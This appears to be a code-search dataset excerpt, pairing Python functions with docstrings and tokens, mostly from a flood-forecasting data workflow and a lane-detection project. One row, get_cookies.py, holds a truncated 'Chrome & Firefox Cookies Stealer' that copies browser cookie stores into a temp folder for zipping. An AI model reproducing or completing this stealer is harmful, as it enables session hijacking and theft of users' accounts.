"for",
"running",
"the",
"workflow",
"to",
"download",
"and",
"process",
"data"
] | def run_gfs_workflow(threddspath):
wrksppath = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'tethysapp', 'ffgs', 'workspaces', 'app_workspace')
logpath = os.path.join(threddspath, 'workflow.log')
logging.basicConfig(filename=logpath, filemode='w', level=logging.INFO, fo... | [
"def",
"run_gfs_workflow",
"(",
"threddspath",
")",
":",
"wrksppath",
"=",
"os",
".",
"path",
".",
"join",
"(",
"os",
".",
"path",
".",
"dirname",
"(",
"os",
".",
"path",
".",
"dirname",
"(",
"os",
".",
"path",
".",
"abspath",
"(",
"__file__",
")",
... | The controller for running the workflow to download and process data | [
"The",
"controller",
"for",
"running",
"the",
"workflow",
"to",
"download",
"and",
"process",
"data"
] | [
"\"\"\"\n The controller for running the workflow to download and process data\n \"\"\"",
"# enable logging to track the progress of the workflow and for debugging",
"# start the workflow by setting the environment",
"# if this has already been done for the most recent forecast, abort the workflow",
"... | [
{
"param": "threddspath",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
0ea78da430ffd9502a3c8d47a990d8822d6fa297 | rileyhales/ffgs | data_workflow/wrfprworkflow.py | [
"BSD-3-Clause"
] | Python | download_wrfpr | <not_specific> | def download_wrfpr(threddspath, timestamp, region):
"""
Script to download WRF-PuertoRico Grib Files.
Dependencies: datetime, os, requests, shutil
"""
logging.info('\nStarting WRF-PR Grib Downloads')
# set filepaths
gribsdir = os.path.join(threddspath, region, 'wrfpr', timestamp, 'gribs')
... |
Script to download WRF-PuertoRico Grib Files.
Dependencies: datetime, os, requests, shutil
| Script to download WRF-PuertoRico Grib Files.
Dependencies: datetime, os, requests, shutil | [
"Script",
"to",
"download",
"WRF",
"-",
"PuertoRico",
"Grib",
"Files",
".",
"Dependencies",
":",
"datetime",
"os",
"requests",
"shutil"
] | def download_wrfpr(threddspath, timestamp, region):
logging.info('\nStarting WRF-PR Grib Downloads')
gribsdir = os.path.join(threddspath, region, 'wrfpr', timestamp, 'gribs')
if not os.path.exists(gribsdir):
logging.info('There is no download folder, you must have already processed them. Skipping do... | [
"def",
"download_wrfpr",
"(",
"threddspath",
",",
"timestamp",
",",
"region",
")",
":",
"logging",
".",
"info",
"(",
"'\\nStarting WRF-PR Grib Downloads'",
")",
"gribsdir",
"=",
"os",
".",
"path",
".",
"join",
"(",
"threddspath",
",",
"region",
",",
"'wrfpr'",... | Script to download WRF-PuertoRico Grib Files. | [
"Script",
"to",
"download",
"WRF",
"-",
"PuertoRico",
"Grib",
"Files",
"."
] | [
"\"\"\"\n Script to download WRF-PuertoRico Grib Files.\n Dependencies: datetime, os, requests, shutil\n \"\"\"",
"# set filepaths",
"# if you already have a folder with data for this timestep, quit this function (you dont need to download it)",
"# otherwise, remove anything in the folder before star... | [
{
"param": "threddspath",
"type": null
},
{
"param": "timestamp",
"type": null
},
{
"param": "region",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "timestamp",
"type": null,
"docstring": null,
"docstrin... |
0ea78da430ffd9502a3c8d47a990d8822d6fa297 | rileyhales/ffgs | data_workflow/wrfprworkflow.py | [
"BSD-3-Clause"
] | Python | wrfpr_tiffs | <not_specific> | def wrfpr_tiffs(threddspath, wrksppath, timestamp, region):
"""
Script to convert grib files with multiple variables to Total Accumulated Precipitation GeoTIFFs.
Dependencies: datetime, os, shutil, numpy, rasterio
"""
logging.info('\nStarting to process the WRF-PR gribs into GeoTIFFs')
# declare... |
Script to convert grib files with multiple variables to Total Accumulated Precipitation GeoTIFFs.
Dependencies: datetime, os, shutil, numpy, rasterio
| Script to convert grib files with multiple variables to Total Accumulated Precipitation GeoTIFFs.
Dependencies: datetime, os, shutil, numpy, rasterio | [
"Script",
"to",
"convert",
"grib",
"files",
"with",
"multiple",
"variables",
"to",
"Total",
"Accumulated",
"Precipitation",
"GeoTIFFs",
".",
"Dependencies",
":",
"datetime",
"os",
"shutil",
"numpy",
"rasterio"
] | def wrfpr_tiffs(threddspath, wrksppath, timestamp, region):
logging.info('\nStarting to process the WRF-PR gribs into GeoTIFFs')
tiffs = os.path.join(wrksppath, region, 'wrfpr_GeoTIFFs')
gribs = os.path.join(threddspath, region, 'wrfpr', timestamp, 'gribs')
netcdfs = os.path.join(threddspath, region, 'w... | [
"def",
"wrfpr_tiffs",
"(",
"threddspath",
",",
"wrksppath",
",",
"timestamp",
",",
"region",
")",
":",
"logging",
".",
"info",
"(",
"'\\nStarting to process the WRF-PR gribs into GeoTIFFs'",
")",
"tiffs",
"=",
"os",
".",
"path",
".",
"join",
"(",
"wrksppath",
",... | Script to convert grib files with multiple variables to Total Accumulated Precipitation GeoTIFFs. | [
"Script",
"to",
"convert",
"grib",
"files",
"with",
"multiple",
"variables",
"to",
"Total",
"Accumulated",
"Precipitation",
"GeoTIFFs",
"."
] | [
"\"\"\"\n Script to convert grib files with multiple variables to Total Accumulated Precipitation GeoTIFFs.\n Dependencies: datetime, os, shutil, numpy, rasterio\n \"\"\"",
"# declare the environment",
"# if you already have wrf-pr netcdfs in the netcdfs folder, quit the function",
"# otherwise, remo... | [
{
"param": "threddspath",
"type": null
},
{
"param": "wrksppath",
"type": null
},
{
"param": "timestamp",
"type": null
},
{
"param": "region",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "wrksppath",
"type": null,
"docstring": null,
"docstrin... |
0ea78da430ffd9502a3c8d47a990d8822d6fa297 | rileyhales/ffgs | data_workflow/wrfprworkflow.py | [
"BSD-3-Clause"
] | Python | resample | <not_specific> | def resample(wrksppath, region):
"""
Script to resample rasters to 20x the original resolution in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio
"""
logging.info('\nResampling the rasters for ' + region)
# Define app workspace and sub-paths
tiffs = os.path.join(wrk... |
Script to resample rasters to 20x the original resolution in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio
| Script to resample rasters to 20x the original resolution in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio | [
"Script",
"to",
"resample",
"rasters",
"to",
"20x",
"the",
"original",
"resolution",
"in",
"order",
"for",
"rasterstats",
"to",
"work",
"Dependencies",
":",
"datetime",
"os",
"numpy",
"rasterio"
] | def resample(wrksppath, region):
logging.info('\nResampling the rasters for ' + region)
tiffs = os.path.join(wrksppath, region, 'wrfpr_GeoTIFFs')
resampleds = os.path.join(wrksppath, region, 'wrfpr_GeoTIFFs_resampled')
if not os.path.exists(tiffs):
logging.info('There is no tiffs folder. You mus... | [
"def",
"resample",
"(",
"wrksppath",
",",
"region",
")",
":",
"logging",
".",
"info",
"(",
"'\\nResampling the rasters for '",
"+",
"region",
")",
"tiffs",
"=",
"os",
".",
"path",
".",
"join",
"(",
"wrksppath",
",",
"region",
",",
"'wrfpr_GeoTIFFs'",
")",
... | Script to resample rasters to 20x the original resolution in order for rasterstats to work
Dependencies: datetime, os, numpy, rasterio | [
"Script",
"to",
"resample",
"rasters",
"to",
"20x",
"the",
"original",
"resolution",
"in",
"order",
"for",
"rasterstats",
"to",
"work",
"Dependencies",
":",
"datetime",
"os",
"numpy",
"rasterio"
] | [
"\"\"\"\n Script to resample rasters to 20x the original resolution in order for rasterstats to work\n Dependencies: datetime, os, numpy, rasterio\n \"\"\"",
"# Define app workspace and sub-paths",
"# Create directory for the resampled GeoTIFFs",
"# List all Resampled GeoTIFFs",
"# Read raster dime... | [
{
"param": "wrksppath",
"type": null
},
{
"param": "region",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "wrksppath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "region",
"type": null,
"docstring": null,
"docstring_tok... |
0ea78da430ffd9502a3c8d47a990d8822d6fa297 | rileyhales/ffgs | data_workflow/wrfprworkflow.py | [
"BSD-3-Clause"
] | Python | run_wrfpr_workflow | <not_specific> | def run_wrfpr_workflow(threddspath):
"""
The controller for running the workflow to download and process data
"""
wrksppath = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'tethysapp', 'ffgs', 'workspaces', 'app_workspace')
# enable logging to track the progress... |
The controller for running the workflow to download and process data
| The controller for running the workflow to download and process data | [
"The",
"controller",
"for",
"running",
"the",
"workflow",
"to",
"download",
"and",
"process",
"data"
] | def run_wrfpr_workflow(threddspath):
wrksppath = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'tethysapp', 'ffgs', 'workspaces', 'app_workspace')
logpath = os.path.join(threddspath, 'workflow.log')
logging.basicConfig(filename=logpath, filemode='w', level=logging.INFO, ... | [
"def",
"run_wrfpr_workflow",
"(",
"threddspath",
")",
":",
"wrksppath",
"=",
"os",
".",
"path",
".",
"join",
"(",
"os",
".",
"path",
".",
"dirname",
"(",
"os",
".",
"path",
".",
"dirname",
"(",
"os",
".",
"path",
".",
"abspath",
"(",
"__file__",
")",... | The controller for running the workflow to download and process data | [
"The",
"controller",
"for",
"running",
"the",
"workflow",
"to",
"download",
"and",
"process",
"data"
] | [
"\"\"\"\n The controller for running the workflow to download and process data\n \"\"\"",
"# enable logging to track the progress of the workflow and for debugging",
"# start the workflow by setting the environment",
"# if this has already been done for the most recent forecast, abort the workflow",
"... | [
{
"param": "threddspath",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "threddspath",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
620702e2603b7e7d47de09542aba773f190d98dd | rileyhales/ffgs | tethysapp/ffgs/controllers.py | [
"BSD-3-Clause"
] | Python | home | <not_specific> | def home(request):
"""
Controller for the app home page.
"""
gfs_date, wrfpr_date = get_forecastdates()
ffgsregions = SelectInput(
display_text='Choose a FFGS Region',
name='region',
multiple=False,
original=True,
options=ffgs_regions(),
)
hisp_mode... |
Controller for the app home page.
| Controller for the app home page. | [
"Controller",
"for",
"the",
"app",
"home",
"page",
"."
] | def home(request):
gfs_date, wrfpr_date = get_forecastdates()
ffgsregions = SelectInput(
display_text='Choose a FFGS Region',
name='region',
multiple=False,
original=True,
options=ffgs_regions(),
)
hisp_models = SelectInput(
display_text='Choose a Forecast... | [
"def",
"home",
"(",
"request",
")",
":",
"gfs_date",
",",
"wrfpr_date",
"=",
"get_forecastdates",
"(",
")",
"ffgsregions",
"=",
"SelectInput",
"(",
"display_text",
"=",
"'Choose a FFGS Region'",
",",
"name",
"=",
"'region'",
",",
"multiple",
"=",
"False",
",",... | Controller for the app home page. | [
"Controller",
"for",
"the",
"app",
"home",
"page",
"."
] | [
"\"\"\"\n Controller for the app home page.\n \"\"\""
] | [
{
"param": "request",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "request",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
477fb4b170e89090be4cce59a3694dd7b6881ee6 | krasnova19/technowlogger | get_cookies.py | [
"BSD-3-Clause"
] | Python | start | <not_specific> | def start(self):
"""
Chrome & Firefox Cookies Stealer, Saves the Cookies.zip in TEMP
"""
tempdir = tempfile.gettempdir()
os.chdir(tempdir)
try:
shutil.rmtree("Cookies")
except:
pass
os.system("md Cookies Cookies\... |
Chrome & Firefox Cookies Stealer, Saves the Cookies.zip in TEMP
| Chrome & Firefox Cookies Stealer, Saves the Cookies.zip in TEMP | [
"Chrome",
"&",
"Firefox",
"Cookies",
"Stealer",
"Saves",
"the",
"Cookies",
".",
"zip",
"in",
"TEMP"
] | def start(self):
tempdir = tempfile.gettempdir()
os.chdir(tempdir)
try:
shutil.rmtree("Cookies")
except:
pass
os.system("md Cookies Cookies\\Chrome Cookies\\Firefox")
chrome_cookiepath = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\... | [
"def",
"start",
"(",
"self",
")",
":",
"tempdir",
"=",
"tempfile",
".",
"gettempdir",
"(",
")",
"os",
".",
"chdir",
"(",
"tempdir",
")",
"try",
":",
"shutil",
".",
"rmtree",
"(",
"\"Cookies\"",
")",
"except",
":",
"pass",
"os",
".",
"system",
"(",
... | Chrome & Firefox Cookies Stealer, Saves the Cookies.zip in TEMP | [
"Chrome",
"&",
"Firefox",
"Cookies",
"Stealer",
"Saves",
"the",
"Cookies",
".",
"zip",
"in",
"TEMP"
] | [
"\"\"\"\r\n Chrome & Firefox Cookies Stealer, Saves the Cookies.zip in TEMP\r\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
f59ed29e85fa6748e3afa2c2ebd5ad5858dbf9ba | CornellDataScience/self-driving-car | lane/camera_calibration.py | [
"MIT"
] | Python | calib | <not_specific> | def calib():
"""
#--------------------
# To get an undistorted image, we need camera matrix & distortion coefficient
# Calculate them with 9*6 20 chessboard images
#
"""
# Prepare object points
# This object points will be the same for all calibration images
image_files = glob.glob(... |
#--------------------
# To get an undistorted image, we need camera matrix & distortion coefficient
# Calculate them with 9*6 20 chessboard images
#
| To get an undistorted image, we need camera matrix & distortion coefficient
Calculate them with 9*6 20 chessboard images | [
"To",
"get",
"an",
"undistorted",
"image",
"we",
"need",
"camera",
"matrix",
"&",
"distortion",
"coefficient",
"Calculate",
"them",
"with",
"9",
"*",
"6",
"20",
"chessboard",
"images"
] | def calib():
image_files = glob.glob("lane/camera_cal/calibration*.jpg")
print(image_files)
objp = np.zeros((6 * 9, 3), np.float32)
objp[:, :2] = np.mgrid[0:9, 0:6].T.reshape(-1, 2)
for curr_file in image_files:
img = mpimg.imread(curr_file)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2G... | [
"def",
"calib",
"(",
")",
":",
"image_files",
"=",
"glob",
".",
"glob",
"(",
"\"lane/camera_cal/calibration*.jpg\"",
")",
"print",
"(",
"image_files",
")",
"objp",
"=",
"np",
".",
"zeros",
"(",
"(",
"6",
"*",
"9",
",",
"3",
")",
",",
"np",
".",
"floa... | To get an undistorted image, we need camera matrix & distortion coefficient
Calculate them with 9*6 20 chessboard images | [
"To",
"get",
"an",
"undistorted",
"image",
"we",
"need",
"camera",
"matrix",
"&",
"distortion",
"coefficient",
"Calculate",
"them",
"with",
"9",
"*",
"6",
"20",
"chessboard",
"images"
] | [
"\"\"\"\n #--------------------\n # To get an undistorted image, we need camera matrix & distortion coefficient\n # Calculate them with 9*6 20 chessboard images\n #\n \"\"\"",
"# Prepare object points",
"# This object points will be the same for all calibration images",
"# x,y coordinates",
"... | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
44e7584a3469898ff8f95e8b95a9043fdff953c3 | CornellDataScience/self-driving-car | src/runner/test_case_system.py | [
"MIT"
] | Python | load_yaml | dict | def load_yaml(config_file_name: str) -> dict:
"""Reads in the yaml config dict given the config_file_name.
Raises: NameError if the name of the config_file contains /'s indicating a full path.
Returns: a dictionary of the configuration
"""
if "/" in config_file_name:
... | Reads in the yaml config dict given the config_file_name.
Raises: NameError if the name of the config_file contains /'s indicating a full path.
Returns: a dictionary of the configuration
| Reads in the yaml config dict given the config_file_name.
Raises: NameError if the name of the config_file contains /'s indicating a full path.
Returns: a dictionary of the configuration | [
"Reads",
"in",
"the",
"yaml",
"config",
"dict",
"given",
"the",
"config_file_name",
".",
"Raises",
":",
"NameError",
"if",
"the",
"name",
"of",
"the",
"config_file",
"contains",
"/",
"'",
"s",
"indicating",
"a",
"full",
"path",
".",
"Returns",
":",
"a",
... | def load_yaml(config_file_name: str) -> dict:
if "/" in config_file_name:
raise NameError(
"Please use the name of the config file in the config file directory. Ex: hootl.yaml"
)
file_path = CONFIGS_DIR + config_file_name
config = None
with open(fi... | [
"def",
"load_yaml",
"(",
"config_file_name",
":",
"str",
")",
"->",
"dict",
":",
"if",
"\"/\"",
"in",
"config_file_name",
":",
"raise",
"NameError",
"(",
"\"Please use the name of the config file in the config file directory. Ex: hootl.yaml\"",
")",
"file_path",
"=",
"CON... | Reads in the yaml config dict given the config_file_name. | [
"Reads",
"in",
"the",
"yaml",
"config",
"dict",
"given",
"the",
"config_file_name",
"."
] | [
"\"\"\"Reads in the yaml config dict given the config_file_name.\n\n Raises: NameError if the name of the config_file contains /'s indicating a full path.\n Returns: a dictionary of the configuration\n \"\"\""
] | [
{
"param": "config_file_name",
"type": "str"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "config_file_name",
"type": "str",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
5d7efa605570b701e2380c3a394b4d87885897f4 | CornellDataScience/self-driving-car | src/ControlTasks/control_task_base.py | [
"MIT"
] | Python | full_default | None | def full_default(self) -> None:
"""Common setup call that then calls the child's default."""
self.sfr.set(f"{self.name}.execution_start", time.time())
self.sfr.set(f"{self.name}.execution_time", 0)
self.default() | Common setup call that then calls the child's default. | Common setup call that then calls the child's default. | [
"Common",
"setup",
"call",
"that",
"then",
"calls",
"the",
"child",
"'",
"s",
"default",
"."
] | def full_default(self) -> None:
self.sfr.set(f"{self.name}.execution_start", time.time())
self.sfr.set(f"{self.name}.execution_time", 0)
self.default() | [
"def",
"full_default",
"(",
"self",
")",
"->",
"None",
":",
"self",
".",
"sfr",
".",
"set",
"(",
"f\"{self.name}.execution_start\"",
",",
"time",
".",
"time",
"(",
")",
")",
"self",
".",
"sfr",
".",
"set",
"(",
"f\"{self.name}.execution_time\"",
",",
"0",
... | Common setup call that then calls the child's default. | [
"Common",
"setup",
"call",
"that",
"then",
"calls",
"the",
"child",
"'",
"s",
"default",
"."
] | [
"\"\"\"Common setup call that then calls the child's default.\"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
5d7efa605570b701e2380c3a394b4d87885897f4 | CornellDataScience/self-driving-car | src/ControlTasks/control_task_base.py | [
"MIT"
] | Python | print_debug_info | None | def print_debug_info(self) -> None:
"""Print debug information about a control task."""
exec_time = self.sfr.get(f"{self.name}.execution_time")
exec_time_shortened = "%.6f" % exec_time
print(f"{self.name} took {exec_time_shortened} sec.") | Print debug information about a control task. | Print debug information about a control task. | [
"Print",
"debug",
"information",
"about",
"a",
"control",
"task",
"."
] | def print_debug_info(self) -> None:
exec_time = self.sfr.get(f"{self.name}.execution_time")
exec_time_shortened = "%.6f" % exec_time
print(f"{self.name} took {exec_time_shortened} sec.") | [
"def",
"print_debug_info",
"(",
"self",
")",
"->",
"None",
":",
"exec_time",
"=",
"self",
".",
"sfr",
".",
"get",
"(",
"f\"{self.name}.execution_time\"",
")",
"exec_time_shortened",
"=",
"\"%.6f\"",
"%",
"exec_time",
"print",
"(",
"f\"{self.name} took {exec_time_sho... | Print debug information about a control task. | [
"Print",
"debug",
"information",
"about",
"a",
"control",
"task",
"."
] | [
"\"\"\"Print debug information about a control task.\"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
5d7efa605570b701e2380c3a394b4d87885897f4 | CornellDataScience/self-driving-car | src/ControlTasks/control_task_base.py | [
"MIT"
] | Python | full_execute | None | def full_execute(self) -> None:
"""A parent execution function that also calls pre and post execute."""
self.pre_execute()
self.execute()
self.post_execute()
# self.print_debug_info() | A parent execution function that also calls pre and post execute. | A parent execution function that also calls pre and post execute. | [
"A",
"parent",
"execution",
"function",
"that",
"also",
"calls",
"pre",
"and",
"post",
"execute",
"."
] | def full_execute(self) -> None:
self.pre_execute()
self.execute()
self.post_execute() | [
"def",
"full_execute",
"(",
"self",
")",
"->",
"None",
":",
"self",
".",
"pre_execute",
"(",
")",
"self",
".",
"execute",
"(",
")",
"self",
".",
"post_execute",
"(",
")"
] | A parent execution function that also calls pre and post execute. | [
"A",
"parent",
"execution",
"function",
"that",
"also",
"calls",
"pre",
"and",
"post",
"execute",
"."
] | [
"\"\"\"A parent execution function that also calls pre and post execute.\"\"\"",
"# self.print_debug_info()"
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
6767d26fe80ac4eeea88c12cc3105883553fbad8 | CornellDataScience/self-driving-car | src/framework/main_control_loop.py | [
"MIT"
] | Python | execute | null | def execute(self):
"""Call the execute functions of all the ControlTasks."""
for ct in self.execute_ct_list:
ct.full_execute()
time.sleep(0.1) | Call the execute functions of all the ControlTasks. | Call the execute functions of all the ControlTasks. | [
"Call",
"the",
"execute",
"functions",
"of",
"all",
"the",
"ControlTasks",
"."
] | def execute(self):
for ct in self.execute_ct_list:
ct.full_execute()
time.sleep(0.1) | [
"def",
"execute",
"(",
"self",
")",
":",
"for",
"ct",
"in",
"self",
".",
"execute_ct_list",
":",
"ct",
".",
"full_execute",
"(",
")",
"time",
".",
"sleep",
"(",
"0.1",
")"
] | Call the execute functions of all the ControlTasks. | [
"Call",
"the",
"execute",
"functions",
"of",
"all",
"the",
"ControlTasks",
"."
] | [
"\"\"\"Call the execute functions of all the ControlTasks.\"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | measure_curvature | null | def measure_curvature(left_lane, right_lane):
"""
#---------------------
# This function measures curvature of the left and right lane lines
# in radians.
# This function is based on code provided in curvature measurement lecture.
#
"""
ploty = left_lane.ally
leftx, rightx = left_l... |
#---------------------
# This function measures curvature of the left and right lane lines
# in radians.
# This function is based on code provided in curvature measurement lecture.
#
| This function measures curvature of the left and right lane lines
in radians.
This function is based on code provided in curvature measurement lecture. | [
"This",
"function",
"measures",
"curvature",
"of",
"the",
"left",
"and",
"right",
"lane",
"lines",
"in",
"radians",
".",
"This",
"function",
"is",
"based",
"on",
"code",
"provided",
"in",
"curvature",
"measurement",
"lecture",
"."
] | def measure_curvature(left_lane, right_lane):
ploty = left_lane.ally
leftx, rightx = left_lane.allx, right_lane.allx
leftx = leftx[::-1]
rightx = rightx[::-1]
y_eval = np.max(ploty)
lane_width = abs(right_lane.startx - left_lane.startx)
ym_per_pix = 30 / 720
xm_per_pix = 3.7 * (720... | [
"def",
"measure_curvature",
"(",
"left_lane",
",",
"right_lane",
")",
":",
"ploty",
"=",
"left_lane",
".",
"ally",
"leftx",
",",
"rightx",
"=",
"left_lane",
".",
"allx",
",",
"right_lane",
".",
"allx",
"leftx",
"=",
"leftx",
"[",
":",
":",
"-",
"1",
"]... | This function measures curvature of the left and right lane lines
in radians. | [
"This",
"function",
"measures",
"curvature",
"of",
"the",
"left",
"and",
"right",
"lane",
"lines",
"in",
"radians",
"."
] | [
"\"\"\"\n #---------------------\n # This function measures curvature of the left and right lane lines\n # in radians.\n # This function is based on code provided in curvature measurement lecture.\n #\n \"\"\"",
"# Reverse to match top-to-bottom in y",
"# Reverse to match top-to-bottom in y",
... | [
{
"param": "left_lane",
"type": null
},
{
"param": "right_lane",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "left_lane",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "right_lane",
"type": null,
"docstring": null,
"docstring... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | smoothing | <not_specific> | def smoothing(lines, prev_n_lines=3):
# collect lines & print average line
"""
#---------------------
# This function takes in lines, averages last n lines
# and returns an average line
#
"""
lines = np.squeeze(
lines
) # remove single dimensional entries from the shape of a... |
#---------------------
# This function takes in lines, averages last n lines
# and returns an average line
#
| This function takes in lines, averages last n lines
and returns an average line | [
"This",
"function",
"takes",
"in",
"lines",
"averages",
"last",
"n",
"lines",
"and",
"returns",
"an",
"average",
"line"
] | def smoothing(lines, prev_n_lines=3):
lines = np.squeeze(
lines
)
avg_line = np.zeros((720))
for i, line in enumerate(reversed(lines)):
if i == prev_n_lines:
break
avg_line += line
avg_line = avg_line / prev_n_lines
return avg_line | [
"def",
"smoothing",
"(",
"lines",
",",
"prev_n_lines",
"=",
"3",
")",
":",
"lines",
"=",
"np",
".",
"squeeze",
"(",
"lines",
")",
"avg_line",
"=",
"np",
".",
"zeros",
"(",
"(",
"720",
")",
")",
"for",
"i",
",",
"line",
"in",
"enumerate",
"(",
"re... | This function takes in lines, averages last n lines
and returns an average line | [
"This",
"function",
"takes",
"in",
"lines",
"averages",
"last",
"n",
"lines",
"and",
"returns",
"an",
"average",
"line"
] | [
"# collect lines & print average line",
"\"\"\"\n #---------------------\n # This function takes in lines, averages last n lines\n # and returns an average line\n #\n \"\"\"",
"# remove single dimensional entries from the shape of an array"
] | [
{
"param": "lines",
"type": null
},
{
"param": "prev_n_lines",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "lines",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "prev_n_lines",
"type": null,
"docstring": null,
"docstring_t... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | line_search_reset | <not_specific> | def line_search_reset(binary_img, left_lane, right_line):
"""
#---------------------
# After applying calibration, thresholding, and a perspective transform to a road image,
# I have a binary image where the lane lines stand out clearly.
# However, I still need to decide explicitly which pixels are ... |
#---------------------
# After applying calibration, thresholding, and a perspective transform to a road image,
# I have a binary image where the lane lines stand out clearly.
# However, I still need to decide explicitly which pixels are part of the lines
# and which belong to the left line and whi... | After applying calibration, thresholding, and a perspective transform to a road image,
I have a binary image where the lane lines stand out clearly.
However, I still need to decide explicitly which pixels are part of the lines
and which belong to the left line and which belong to the right line.
This lane line search ... | [
"After",
"applying",
"calibration",
"thresholding",
"and",
"a",
"perspective",
"transform",
"to",
"a",
"road",
"image",
"I",
"have",
"a",
"binary",
"image",
"where",
"the",
"lane",
"lines",
"stand",
"out",
"clearly",
".",
"However",
"I",
"still",
"need",
"to... | def line_search_reset(binary_img, left_lane, right_line):
histogram = np.sum(binary_img[int(binary_img.shape[0] / 2) :, :], axis=0)
out_img = np.dstack((binary_img, binary_img, binary_img)) * 255
midpoint = np.int(histogram.shape[0] / 2)
leftX_base = np.argmax(histogram[:midpoint])
rightX_base = np.... | [
"def",
"line_search_reset",
"(",
"binary_img",
",",
"left_lane",
",",
"right_line",
")",
":",
"histogram",
"=",
"np",
".",
"sum",
"(",
"binary_img",
"[",
"int",
"(",
"binary_img",
".",
"shape",
"[",
"0",
"]",
"/",
"2",
")",
":",
",",
":",
"]",
",",
... | After applying calibration, thresholding, and a perspective transform to a road image,
I have a binary image where the lane lines stand out clearly. | [
"After",
"applying",
"calibration",
"thresholding",
"and",
"a",
"perspective",
"transform",
"to",
"a",
"road",
"image",
"I",
"have",
"a",
"binary",
"image",
"where",
"the",
"lane",
"lines",
"stand",
"out",
"clearly",
"."
] | [
"\"\"\"\n #---------------------\n # After applying calibration, thresholding, and a perspective transform to a road image,\n # I have a binary image where the lane lines stand out clearly.\n # However, I still need to decide explicitly which pixels are part of the lines\n # and which belong to the l... | [
{
"param": "binary_img",
"type": null
},
{
"param": "left_lane",
"type": null
},
{
"param": "right_line",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "binary_img",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "left_lane",
"type": null,
"docstring": null,
"docstring... |
d525dde855f4304eca548037c1d3a6abfba99488 | CornellDataScience/self-driving-car | lane/line.py | [
"MIT"
] | Python | line_search_tracking | <not_specific> | def line_search_tracking(b_img, left_line, right_line):
"""
#---------------------
# This function is similar to `line_seach_reset` function, however, this function utilizes
# the history of previously detcted lines, which is being tracked in an object of Line class.
#
# Once we know where the l... |
#---------------------
# This function is similar to `line_seach_reset` function, however, this function utilizes
# the history of previously detcted lines, which is being tracked in an object of Line class.
#
# Once we know where the lines are, in previous frames, we don't need to do a blind searc... | This function is similar to `line_seach_reset` function, however, this function utilizes
the history of previously detcted lines, which is being tracked in an object of Line class.
Once we know where the lines are, in previous frames, we don't need to do a blind search, but
we can just search in a window_margin around... | [
"This",
"function",
"is",
"similar",
"to",
"`",
"line_seach_reset",
"`",
"function",
"however",
"this",
"function",
"utilizes",
"the",
"history",
"of",
"previously",
"detcted",
"lines",
"which",
"is",
"being",
"tracked",
"in",
"an",
"object",
"of",
"Line",
"cl... | def line_search_tracking(b_img, left_line, right_line):
out_img = np.dstack((b_img, b_img, b_img)) * 255
nonzero = b_img.nonzero()
nonzeroy = np.array(nonzero[0])
nonzerox = np.array(nonzero[1])
window_margin = left_line.window_margin
left_line_fit = left_line.current_fit
right_line_fit = ri... | [
"def",
"line_search_tracking",
"(",
"b_img",
",",
